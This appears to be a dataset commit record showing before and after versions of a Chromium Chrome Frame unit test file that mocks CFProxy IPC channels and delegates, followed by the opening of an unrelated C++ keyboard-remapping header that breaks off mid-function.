MOCK_METHOD2(NavigationFailed, void(int error_code, const GURL& gurl));\n MOCK_METHOD1(DidNavigate, void(const NavigationInfo& navigation_info));\n MOCK_METHOD1(TabLoaded, void(const GURL& url));\n\n \/\/\n MOCK_METHOD3(OpenURL, void(const GURL& url_to_open, const GURL& referrer,\n int open_disposition));\n MOCK_METHOD1(GoToHistoryOffset, void(int offset));\n MOCK_METHOD3(MessageToHost, void(const std::string& message,\n const std::string& origin, const std::string& target));\n\n \/\/ Misc. UI.\n MOCK_METHOD1(HandleAccelerator, void(const MSG& accel_message));\n MOCK_METHOD3(HandleContextMenu, void(HANDLE menu_handle, int align_flags,\n const MiniContextMenuParams& params));\n MOCK_METHOD1(TabbedOut, void(bool reverse));\n\n \/\/\n MOCK_METHOD0(TabClosed, void());\n MOCK_METHOD1(AttachTab, void(const AttachExternalTabParams& attach_params));\n};\n\nstruct MockSender : public IPC::Message::Sender {\n MOCK_METHOD1(Send, bool(IPC::Message* m));\n};\n\nstruct MockCFProxyTraits : public CFProxyTraits {\n MOCK_METHOD2(DoCreateChannel, IPC::Message::Sender*(const std::string& id,\n IPC::Channel::Listener* l));\n MOCK_METHOD1(CloseChannel, void(IPC::Message::Sender* s));\n MOCK_METHOD1(LaunchApp, bool(const std::wstring& cmd_line));\n\n \/\/ Forward the CreateChannel to DoCreateChannel, but save the ipc_thread\n \/\/ and the listener (i.e. proxy implementation of Channel::Listener)\n virtual IPC::Message::Sender* CreateChannel(const std::string& id,\n IPC::Channel::Listener* l) {\n ipc_loop = MessageLoop::current();\n listener = l;\n return this->DoCreateChannel(id, l);\n }\n\n \/\/ Simulate some activity in the IPC thread.\n \/\/ You may find API_FIRE_XXXX macros (see below) handy instead.\n void FireConnect(base::TimeDelta t) {\n ASSERT_TRUE(ipc_loop != NULL);\n ipc_loop->PostDelayedTask(\n FROM_HERE, base::Bind(&IPC::Channel::Listener::OnChannelConnected,\n base::Unretained(listener), 0),\n t.InMilliseconds());\n }\n\n void FireError(base::TimeDelta t) {\n ASSERT_TRUE(ipc_loop != NULL);\n ipc_loop->PostDelayedTask(\n FROM_HERE, base::Bind(&IPC::Channel::Listener::OnChannelError,\n base::Unretained(listener)),\n t.InMilliseconds());\n }\n\n void FireMessage(const IPC::Message& m, base::TimeDelta t) {\n ASSERT_TRUE(ipc_loop != NULL);\n ipc_loop->PostDelayedTask(\n FROM_HERE,\n base::Bind(\n base::IgnoreResult(&IPC::Channel::Listener::OnMessageReceived),\n base::Unretained(listener), m),\n t.InMilliseconds());\n }\n\n MockCFProxyTraits() : ipc_loop(NULL) {}\n MockSender sender;\n private:\n MessageLoop* ipc_loop;\n IPC::Channel::Listener* listener;\n};\n\n\/\/ Handy macros when we want so simulate something on the IPC thread.\n#define API_FIRE_CONNECT(api, t) InvokeWithoutArgs(CreateFunctor(&api, \\\n &MockCFProxyTraits::FireConnect, t))\n#define API_FIRE_ERROR(api, t) InvokeWithoutArgs(CreateFunctor(&api, \\\n &MockCFProxyTraits::FireError, t))\n#define API_FIRE_MESSAGE(api, t) InvokeWithoutArgs(CreateFunctor(&api, \\\n &MockCFProxyTraits::FireMessage, t))\n\nTEST(ChromeProxy, DelegateAddRemove) {\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate;\n StrictMock<MockFactory> factory; \/\/ to be destroyed before other mocks\n CFProxy* proxy = new CFProxy(&api);\n\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(Return(true));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n\n EXPECT_CALL(delegate, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(delegate, Disconnected());\n\n ProxyParams params;\n params.profile = \"Adam N. Epilinter\";\n params.timeout = base::TimeDelta::FromSeconds(4);\n factory.GetProxy(&delegate, params);\n factory.ReleaseProxy(&delegate, params.profile);\n}\n\n\/\/ Not very useful test. Just for illustration. :)\nTEST(ChromeProxy, SharedProxy) {\n base::WaitableEvent done1(false, false);\n base::WaitableEvent done2(false, false);\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate1;\n StrictMock<MockChromeProxyDelegate> delegate2;\n StrictMock<MockFactory> factory;\n CFProxy* proxy = new CFProxy(&api);\n\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(DoAll(\n API_FIRE_CONNECT(api, base::TimeDelta::FromMilliseconds(150)),\n Return(true)));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n\n EXPECT_CALL(delegate1, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(delegate2, tab_handle()).WillRepeatedly(Return(0));\n\n EXPECT_CALL(delegate1, Connected(proxy))\n .WillOnce(InvokeWithoutArgs(&done1, &base::WaitableEvent::Signal));\n EXPECT_CALL(delegate2, Connected(proxy))\n .WillOnce(InvokeWithoutArgs(&done2, &base::WaitableEvent::Signal));\n\n ProxyParams params;\n params.profile = \"Adam N. Epilinter\";\n params.timeout = base::TimeDelta::FromSeconds(4);\n\n factory.GetProxy(&delegate1, params);\n params.timeout = base::TimeDelta::FromSeconds(2);\n factory.GetProxy(&delegate2, params);\n\n EXPECT_TRUE(done1.TimedWait(base::TimeDelta::FromSeconds(1)));\n EXPECT_TRUE(done2.TimedWait(base::TimeDelta::FromSeconds(1)));\n\n EXPECT_CALL(delegate2, Disconnected());\n EXPECT_CALL(delegate1, Disconnected());\n\n factory.ReleaseProxy(&delegate2, params.profile);\n factory.ReleaseProxy(&delegate1, params.profile);\n}\n\nTEST(ChromeProxy, LaunchTimeout) {\n base::WaitableEvent done(true, false);\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate;\n StrictMock<MockFactory> factory;\n CFProxy* proxy = new CFProxy(&api);\n\n EXPECT_CALL(delegate, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(Return(true));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n\n EXPECT_CALL(delegate, PeerLost(_,\n ChromeProxyDelegate::CHROME_EXE_LAUNCH_TIMEOUT))\n .WillOnce(InvokeWithoutArgs(&done, &base::WaitableEvent::Signal));\n ProxyParams params;\n params.profile = \"Adam N. Epilinter\";\n params.timeout = base::TimeDelta::FromMilliseconds(300);\n factory.GetProxy(&delegate, params);\n EXPECT_TRUE(done.TimedWait(base::TimeDelta::FromSeconds(1)));\n\n EXPECT_CALL(delegate, Disconnected());\n factory.ReleaseProxy(&delegate, params.profile);\n}\n\nTEST(ChromeProxy, LaunchChrome) {\n base::WaitableEvent connected(false, false);\n StrictMock<MockChromeProxyDelegate> delegate;\n ChromeProxyFactory factory;\n\n ProxyParams params;\n params.profile = \"Adam N. Epilinter\";\n params.timeout = base::TimeDelta::FromSeconds(10);\n\n EXPECT_CALL(delegate, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(delegate, Connected(NotNull()))\n .WillOnce(InvokeWithoutArgs(&connected, &base::WaitableEvent::Signal));\n\n factory.GetProxy(&delegate, params);\n EXPECT_TRUE(connected.TimedWait(base::TimeDelta::FromSeconds(15)));\n\n EXPECT_CALL(delegate, Disconnected());\n factory.ReleaseProxy(&delegate, params.profile);\n}\n\n\/\/ Test that a channel error results in Completed_XYZ(false, ) called if\n\/\/ the synchronious XYZ message has been sent.\nTEST(ChromeProxy, ChannelError) {\n base::WaitableEvent connected(false, false);\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate;\n StrictMock<MockFactory> factory;\n CFProxy* proxy = new CFProxy(&api);\n\n ProxyParams params;\n params.profile = \"Adam N. Epilinter\";\n params.timeout = base::TimeDelta::FromMilliseconds(300);\n\n testing::InSequence s;\n\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(DoAll(\n API_FIRE_CONNECT(api, base::TimeDelta::FromMilliseconds(10)),\n Return(true)));\n EXPECT_CALL(delegate, Connected(proxy))\n .WillOnce(DoAll(\n InvokeWithoutArgs(CreateFunctor(proxy, &ChromeProxy::ConnectTab,\n &delegate, HWND(6), 512)),\n InvokeWithoutArgs(&connected, &base::WaitableEvent::Signal)));\n\n EXPECT_CALL(api.sender, Send(_));\n EXPECT_CALL(delegate, Completed_ConnectToTab(false, _, _, _, _));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n EXPECT_CALL(delegate, PeerLost(_, ChromeProxyDelegate::CHANNEL_ERROR));\n\n factory.GetProxy(&delegate, params);\n EXPECT_TRUE(connected.TimedWait(base::TimeDelta::FromSeconds(15)));\n \/\/ Simulate a channel error.\n api.FireError(base::TimeDelta::FromMilliseconds(0));\n\n \/\/ Expectations when the Proxy is destroyed.\n EXPECT_CALL(delegate, tab_handle()).WillOnce(Return(0));\n EXPECT_CALL(delegate, Disconnected());\n factory.ReleaseProxy(&delegate, params.profile);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nnamespace {\ntemplate <typename M, typename A>\ninline IPC::Message* CreateReply(M* m, const A& a) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a);\n }\n return r;\n}\n\ntemplate <typename M, typename A, typename B>\ninline IPC::Message* CreateReply(M* m, const A& a, const B& b) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a, b);\n }\n return r;\n}\n\ntemplate <typename M, typename A, typename B, typename C>\ninline IPC::Message* CreateReply(M* m, const A& a, const B& b, const C& c) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a, b, c);\n }\n return r;\n}\n\ntemplate <typename M, typename A, typename B, typename C, typename D>\ninline IPC::Message* CreateReply(M* m, const A& a, const B& b, const C& c,\n const D& d) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a, b, c, d);\n }\n return r;\n}} \/\/ namespace\n\nTEST(SyncMsgSender, Deserialize) {\n \/\/ Note the ipc thread is not actually needed, but we try to be close\n \/\/ to real-world conditions - that SyncMsgSender works from multiple threads.\n base::Thread ipc(\"ipc\");\n ipc.StartWithOptions(base::Thread::Options(MessageLoop::TYPE_IO, 0));\n\n StrictMock<MockChromeProxyDelegate> d1;\n TabsMap tab2delegate;\n SyncMsgSender queue(&tab2delegate);\n\n const int kTabHandle = 6;\n const int kSessionId = 8;\n\n \/\/ Create a sync message and its reply.\n AutomationMsg_CreateExternalTab m(ExternalTabSettings(), 0, 0, 0, 0);\n scoped_ptr<IPC::Message> r(CreateReply(&m, (HWND)1, (HWND)2, kTabHandle,\n kSessionId));\n\n queue.QueueSyncMessage(&m, &d1, NULL);\n\n testing::InSequence s;\n EXPECT_CALL(d1, Completed_CreateTab(true, (HWND)1, (HWND)2, kTabHandle,\n kSessionId));\n\n \/\/ Execute replies in a worker thread.\n ipc.message_loop()->PostTask(\n FROM_HERE,\n base::Bind(base::IgnoreResult(&SyncMsgSender::OnReplyReceived),\n base::Unretained(&queue), r.get()));\n ipc.Stop();\n\n \/\/ Expect that tab 6 has been associated with the delegate.\n EXPECT_EQ(&d1, tab2delegate[6]);\n}\n\nTEST(SyncMsgSender, OnChannelClosed) {\n \/\/ TODO(stoyan): implement.\n}\n<commit_msg>Scrub CFProxy tests properly.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"base\/bind.h\"\n#include \"base\/bind_helpers.h\"\n#include \"base\/file_path.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"chrome\/common\/automation_messages.h\"\n#include \"chrome_frame\/cfproxy_private.h\"\n#include \"chrome_frame\/test\/chrome_frame_test_utils.h\"\n#include \"chrome_frame\/test\/test_scrubber.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gmock_mutant.h\"\n\nusing testing::_;\nusing testing::DoAll;\nusing testing::NotNull;\nusing testing::Return;\nusing testing::StrictMock;\nusing testing::InvokeWithoutArgs;\nusing testing::WithoutArgs;\nusing testing::CreateFunctor;\nusing testing::StrEq;\nusing testing::Eq;\n\n\/\/ There is not much to test here since CFProxy is pretty dumb.\nstruct MockFactory : public ChromeProxyFactory {\n MOCK_METHOD0(CreateProxy, ChromeProxy*());\n};\n\nstruct MockChromeProxyDelegate : public ChromeProxyDelegate {\n MOCK_METHOD1(OnMessageReceived, bool(const IPC::Message& message));\n MOCK_METHOD1(Connected, void(ChromeProxy* proxy));\n MOCK_METHOD2(PeerLost, void(ChromeProxy*, enum DisconnectReason reason));\n MOCK_METHOD0(Disconnected, void());\n MOCK_METHOD0(tab_handle, int());\n\n MOCK_METHOD5(Completed_CreateTab, void(bool success, HWND chrome_wnd,\n HWND tab_window, int tab_handle, int session_id));\n MOCK_METHOD5(Completed_ConnectToTab, void(bool success, HWND chrome_window,\n HWND tab_window, int tab_handle, int session_id));\n MOCK_METHOD2(Completed_Navigate, void(bool success,\n enum AutomationMsg_NavigationResponseValues res));\n\n \/\/ Network requests from Chrome.\n MOCK_METHOD2(Network_Start, void(int request_id,\n const AutomationURLRequest& request_info));\n MOCK_METHOD2(Network_Read, void(int request_id, int bytes_to_read));\n MOCK_METHOD2(Network_End, void(int request_id,\n const net::URLRequestStatus& s));\n MOCK_METHOD1(Network_DownloadInHost, void(int request_id));\n MOCK_METHOD2(GetCookies, void(const GURL& url, int cookie_id));\n MOCK_METHOD2(SetCookie, void(const GURL& url, const std::string& cookie));\n\n \/\/ Navigation progress notifications.\n MOCK_METHOD2(NavigationStateChanged, void(int flags,\n const NavigationInfo& nav_info));\n MOCK_METHOD1(UpdateTargetUrl, void(const std::wstring& url));\n MOCK_METHOD2(NavigationFailed, void(int error_code, const GURL& gurl));\n MOCK_METHOD1(DidNavigate, void(const NavigationInfo& navigation_info));\n MOCK_METHOD1(TabLoaded, void(const GURL& url));\n\n \/\/\n MOCK_METHOD3(OpenURL, void(const GURL& url_to_open, const GURL& referrer,\n int open_disposition));\n MOCK_METHOD1(GoToHistoryOffset, void(int offset));\n MOCK_METHOD3(MessageToHost, void(const std::string& message,\n const std::string& origin, const std::string& target));\n\n \/\/ Misc. UI.\n MOCK_METHOD1(HandleAccelerator, void(const MSG& accel_message));\n MOCK_METHOD3(HandleContextMenu, void(HANDLE menu_handle, int align_flags,\n const MiniContextMenuParams& params));\n MOCK_METHOD1(TabbedOut, void(bool reverse));\n\n \/\/\n MOCK_METHOD0(TabClosed, void());\n MOCK_METHOD1(AttachTab, void(const AttachExternalTabParams& attach_params));\n};\n\nstruct MockSender : public IPC::Message::Sender {\n MOCK_METHOD1(Send, bool(IPC::Message* m));\n};\n\nstruct MockCFProxyTraits : public CFProxyTraits {\n MOCK_METHOD2(DoCreateChannel, IPC::Message::Sender*(const std::string& id,\n IPC::Channel::Listener* l));\n MOCK_METHOD1(CloseChannel, void(IPC::Message::Sender* s));\n MOCK_METHOD1(LaunchApp, bool(const std::wstring& cmd_line));\n\n \/\/ Forward the CreateChannel to DoCreateChannel, but save the ipc_thread\n \/\/ and the listener (i.e. proxy implementation of Channel::Listener)\n virtual IPC::Message::Sender* CreateChannel(const std::string& id,\n IPC::Channel::Listener* l) {\n ipc_loop = MessageLoop::current();\n listener = l;\n return this->DoCreateChannel(id, l);\n }\n\n \/\/ Simulate some activity in the IPC thread.\n \/\/ You may find API_FIRE_XXXX macros (see below) handy instead.\n void FireConnect(base::TimeDelta t) {\n ASSERT_TRUE(ipc_loop != NULL);\n ipc_loop->PostDelayedTask(\n FROM_HERE, base::Bind(&IPC::Channel::Listener::OnChannelConnected,\n base::Unretained(listener), 0),\n t.InMilliseconds());\n }\n\n void FireError(base::TimeDelta t) {\n ASSERT_TRUE(ipc_loop != NULL);\n ipc_loop->PostDelayedTask(\n FROM_HERE, base::Bind(&IPC::Channel::Listener::OnChannelError,\n base::Unretained(listener)),\n t.InMilliseconds());\n }\n\n void FireMessage(const IPC::Message& m, base::TimeDelta t) {\n ASSERT_TRUE(ipc_loop != NULL);\n ipc_loop->PostDelayedTask(\n FROM_HERE,\n base::Bind(\n base::IgnoreResult(&IPC::Channel::Listener::OnMessageReceived),\n base::Unretained(listener), m),\n t.InMilliseconds());\n }\n\n MockCFProxyTraits() : ipc_loop(NULL) {}\n MockSender sender;\n private:\n MessageLoop* ipc_loop;\n IPC::Channel::Listener* listener;\n};\n\n\/\/ Handy macros when we want so simulate something on the IPC thread.\n#define API_FIRE_CONNECT(api, t) InvokeWithoutArgs(CreateFunctor(&api, \\\n &MockCFProxyTraits::FireConnect, t))\n#define API_FIRE_ERROR(api, t) InvokeWithoutArgs(CreateFunctor(&api, \\\n &MockCFProxyTraits::FireError, t))\n#define API_FIRE_MESSAGE(api, t) InvokeWithoutArgs(CreateFunctor(&api, \\\n &MockCFProxyTraits::FireMessage, t))\n\nclass ChromeProxyTest : public ::testing::Test {\n protected:\n virtual void SetUp() OVERRIDE {\n chrome_frame_test::OverrideDataDirectoryForThisTest(\n chrome_frame_test::GetProfilePath(L\"\").value());\n params_.profile = \"Adam N. Epilinter\";\n params_.timeout = base::TimeDelta::FromSeconds(4);\n }\n\n ProxyParams params_;\n};\n\nTEST_F(ChromeProxyTest, DelegateAddRemove) {\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate;\n StrictMock<MockFactory> factory; \/\/ to be destroyed before other mocks\n CFProxy* proxy = new CFProxy(&api);\n\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(Return(true));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n\n EXPECT_CALL(delegate, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(delegate, Disconnected());\n\n factory.GetProxy(&delegate, params_);\n factory.ReleaseProxy(&delegate, params_.profile);\n}\n\n\/\/ Not very useful test. Just for illustration. :)\nTEST_F(ChromeProxyTest, SharedProxy) {\n base::WaitableEvent done1(false, false);\n base::WaitableEvent done2(false, false);\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate1;\n StrictMock<MockChromeProxyDelegate> delegate2;\n StrictMock<MockFactory> factory;\n CFProxy* proxy = new CFProxy(&api);\n\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(DoAll(\n API_FIRE_CONNECT(api, base::TimeDelta::FromMilliseconds(150)),\n Return(true)));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n\n EXPECT_CALL(delegate1, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(delegate2, tab_handle()).WillRepeatedly(Return(0));\n\n EXPECT_CALL(delegate1, Connected(proxy))\n .WillOnce(InvokeWithoutArgs(&done1, &base::WaitableEvent::Signal));\n EXPECT_CALL(delegate2, Connected(proxy))\n .WillOnce(InvokeWithoutArgs(&done2, &base::WaitableEvent::Signal));\n\n factory.GetProxy(&delegate1, params_);\n params_.timeout = base::TimeDelta::FromSeconds(2);\n factory.GetProxy(&delegate2, params_);\n\n EXPECT_TRUE(done1.TimedWait(base::TimeDelta::FromSeconds(1)));\n EXPECT_TRUE(done2.TimedWait(base::TimeDelta::FromSeconds(1)));\n\n EXPECT_CALL(delegate2, Disconnected());\n EXPECT_CALL(delegate1, Disconnected());\n\n factory.ReleaseProxy(&delegate2, params_.profile);\n factory.ReleaseProxy(&delegate1, params_.profile);\n}\n\nTEST_F(ChromeProxyTest, LaunchTimeout) {\n base::WaitableEvent done(true, false);\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate;\n StrictMock<MockFactory> factory;\n CFProxy* proxy = new CFProxy(&api);\n\n EXPECT_CALL(delegate, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(Return(true));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n\n EXPECT_CALL(delegate, PeerLost(_,\n ChromeProxyDelegate::CHROME_EXE_LAUNCH_TIMEOUT))\n .WillOnce(InvokeWithoutArgs(&done, &base::WaitableEvent::Signal));\n params_.timeout = base::TimeDelta::FromMilliseconds(300);\n factory.GetProxy(&delegate, params_);\n EXPECT_TRUE(done.TimedWait(base::TimeDelta::FromSeconds(1)));\n\n EXPECT_CALL(delegate, Disconnected());\n factory.ReleaseProxy(&delegate, params_.profile);\n}\n\nTEST_F(ChromeProxyTest, LaunchChrome) {\n base::WaitableEvent connected(false, false);\n StrictMock<MockChromeProxyDelegate> delegate;\n ChromeProxyFactory factory;\n\n params_.timeout = base::TimeDelta::FromSeconds(10);\n\n EXPECT_CALL(delegate, tab_handle()).WillRepeatedly(Return(0));\n EXPECT_CALL(delegate, Connected(NotNull()))\n .WillOnce(InvokeWithoutArgs(&connected, &base::WaitableEvent::Signal));\n\n factory.GetProxy(&delegate, params_);\n EXPECT_TRUE(connected.TimedWait(base::TimeDelta::FromSeconds(15)));\n\n EXPECT_CALL(delegate, Disconnected());\n factory.ReleaseProxy(&delegate, params_.profile);\n}\n\n\/\/ Test that a channel error results in Completed_XYZ(false, ) called if\n\/\/ the synchronious XYZ message has been sent.\nTEST_F(ChromeProxyTest, ChannelError) {\n base::WaitableEvent connected(false, false);\n StrictMock<MockCFProxyTraits> api;\n StrictMock<MockChromeProxyDelegate> delegate;\n StrictMock<MockFactory> factory;\n CFProxy* proxy = new CFProxy(&api);\n\n params_.timeout = base::TimeDelta::FromMilliseconds(300);\n\n testing::InSequence s;\n\n EXPECT_CALL(factory, CreateProxy()).WillOnce(Return(proxy));\n EXPECT_CALL(api, DoCreateChannel(_, proxy)).WillOnce(Return(&api.sender));\n EXPECT_CALL(api, LaunchApp(_)).WillOnce(DoAll(\n API_FIRE_CONNECT(api, base::TimeDelta::FromMilliseconds(10)),\n Return(true)));\n EXPECT_CALL(delegate, Connected(proxy))\n .WillOnce(DoAll(\n InvokeWithoutArgs(CreateFunctor(proxy, &ChromeProxy::ConnectTab,\n &delegate, HWND(6), 512)),\n InvokeWithoutArgs(&connected, &base::WaitableEvent::Signal)));\n\n EXPECT_CALL(api.sender, Send(_));\n EXPECT_CALL(delegate, Completed_ConnectToTab(false, _, _, _, _));\n EXPECT_CALL(api, CloseChannel(&api.sender));\n EXPECT_CALL(delegate, PeerLost(_, ChromeProxyDelegate::CHANNEL_ERROR));\n\n factory.GetProxy(&delegate, params_);\n EXPECT_TRUE(connected.TimedWait(base::TimeDelta::FromSeconds(15)));\n \/\/ Simulate a channel error.\n api.FireError(base::TimeDelta::FromMilliseconds(0));\n\n \/\/ Expectations when the Proxy is destroyed.\n EXPECT_CALL(delegate, tab_handle()).WillOnce(Return(0));\n EXPECT_CALL(delegate, Disconnected());\n factory.ReleaseProxy(&delegate, params_.profile);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nnamespace {\ntemplate <typename M, typename A>\ninline IPC::Message* CreateReply(M* m, const A& a) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a);\n }\n return r;\n}\n\ntemplate <typename M, typename A, typename B>\ninline IPC::Message* CreateReply(M* m, const A& a, const B& b) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a, b);\n }\n return r;\n}\n\ntemplate <typename M, typename A, typename B, typename C>\ninline IPC::Message* CreateReply(M* m, const A& a, const B& b, const C& c) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a, b, c);\n }\n return r;\n}\n\ntemplate <typename M, typename A, typename B, typename C, typename D>\ninline IPC::Message* CreateReply(M* m, const A& a, const B& b, const C& c,\n const D& d) {\n IPC::Message* r = IPC::SyncMessage::GenerateReply(m);\n if (r) {\n M::WriteReplyParams(r, a, b, c, d);\n }\n return r;\n}} \/\/ namespace\n\nTEST(SyncMsgSender, Deserialize) {\n \/\/ Note the ipc thread is not actually needed, but we try to be close\n \/\/ to real-world conditions - that SyncMsgSender works from multiple threads.\n base::Thread ipc(\"ipc\");\n ipc.StartWithOptions(base::Thread::Options(MessageLoop::TYPE_IO, 0));\n\n StrictMock<MockChromeProxyDelegate> d1;\n TabsMap tab2delegate;\n SyncMsgSender queue(&tab2delegate);\n\n const int kTabHandle = 6;\n const int kSessionId = 8;\n\n \/\/ Create a sync message and its reply.\n AutomationMsg_CreateExternalTab m(ExternalTabSettings(), 0, 0, 0, 0);\n scoped_ptr<IPC::Message> r(CreateReply(&m, (HWND)1, (HWND)2, kTabHandle,\n kSessionId));\n\n queue.QueueSyncMessage(&m, &d1, NULL);\n\n testing::InSequence s;\n EXPECT_CALL(d1, Completed_CreateTab(true, (HWND)1, (HWND)2, kTabHandle,\n kSessionId));\n\n \/\/ Execute replies in a worker thread.\n ipc.message_loop()->PostTask(\n FROM_HERE,\n base::Bind(base::IgnoreResult(&SyncMsgSender::OnReplyReceived),\n base::Unretained(&queue), r.get()));\n ipc.Stop();\n\n \/\/ Expect that tab 6 has been associated with the delegate.\n EXPECT_EQ(&d1, tab2delegate[6]);\n}\n\nTEST(SyncMsgSender, OnChannelClosed) {\n \/\/ TODO(stoyan): implement.\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"boost_defs.hpp\"\n\n#include \"event_queue.hpp\"\n#include \"modifier_flag_manager.hpp\"\n#include \"stream_utility.hpp\"\n#include <boost\/optional.hpp>\n#include <json\/json.hpp>\n#include <unordered_set>\n\nnamespace krbn {\nnamespace manipulator {\nnamespace details {\n\nclass event_definition {\npublic:\n enum class type {\n none,\n key_code,\n pointing_button,\n };\n\n enum class modifier {\n any,\n caps_lock,\n command,\n control,\n fn,\n left_command,\n left_control,\n left_option,\n left_shift,\n option,\n right_command,\n right_control,\n right_option,\n right_shift,\n shift,\n end_,\n };\n\n virtual ~event_definition(void) {\n }\n\n type get_type(void) const {\n return type_;\n }\n\n boost::optional<key_code> get_key_code(void) const {\n if (type_ == type::key_code) {\n return key_code_;\n }\n return boost::none;\n }\n\n boost::optional<pointing_button> get_pointing_button(void) const {\n if (type_ == type::pointing_button) {\n return pointing_button_;\n }\n return boost::none;\n }\n\n boost::optional<event_queue::queued_event::event> to_event(void) const {\n switch (type_) {\n case type::none:\n return boost::none;\n case type::key_code:\n return event_queue::queued_event::event(key_code_);\n case type::pointing_button:\n return event_queue::queued_event::event(pointing_button_);\n }\n }\n\n static std::unordered_set<modifier> make_modifiers(const nlohmann::json& json) {\n std::unordered_set<modifier> modifiers;\n\n for (const auto& j : json) {\n if (j.is_string()) {\n const std::string& name = j;\n if (name == \"any\") {\n modifiers.insert(modifier::any);\n } else if (name == \"caps_lock\") {\n modifiers.insert(modifier::caps_lock);\n } else if (name == \"command\") {\n modifiers.insert(modifier::command);\n } else if (name == \"control\") {\n modifiers.insert(modifier::control);\n } else if (name == \"fn\") {\n modifiers.insert(modifier::fn);\n } else if (name == \"left_command\") {\n modifiers.insert(modifier::left_command);\n } else if (name == \"left_control\") {\n modifiers.insert(modifier::left_control);\n } else if (name == \"left_option\") {\n modifiers.insert(modifier::left_option);\n } else if (name == \"left_shift\") {\n modifiers.insert(modifier::left_shift);\n } else if (name == \"option\") {\n modifiers.insert(modifier::option);\n } else if (name == \"right_command\") {\n modifiers.insert(modifier::right_command);\n } else if (name == \"right_control\") {\n modifiers.insert(modifier::right_control);\n } else if (name == \"right_option\") {\n modifiers.insert(modifier::right_option);\n } else if (name == \"right_shift\") {\n modifiers.insert(modifier::right_shift);\n } else if (name == \"shift\") {\n modifiers.insert(modifier::shift);\n } else {\n logger::get_logger().error(\"unknown modifier: {0}\", name);\n }\n }\n }\n\n return modifiers;\n }\n\n static std::vector<modifier_flag> get_modifier_flags(modifier modifier) {\n switch (modifier) {\n case modifier::any:\n return {};\n\n case modifier::caps_lock:\n return {modifier_flag::caps_lock};\n\n case modifier::command:\n return {modifier_flag::left_command, modifier_flag::right_command};\n\n case modifier::control:\n return {modifier_flag::left_control, modifier_flag::right_control};\n\n case 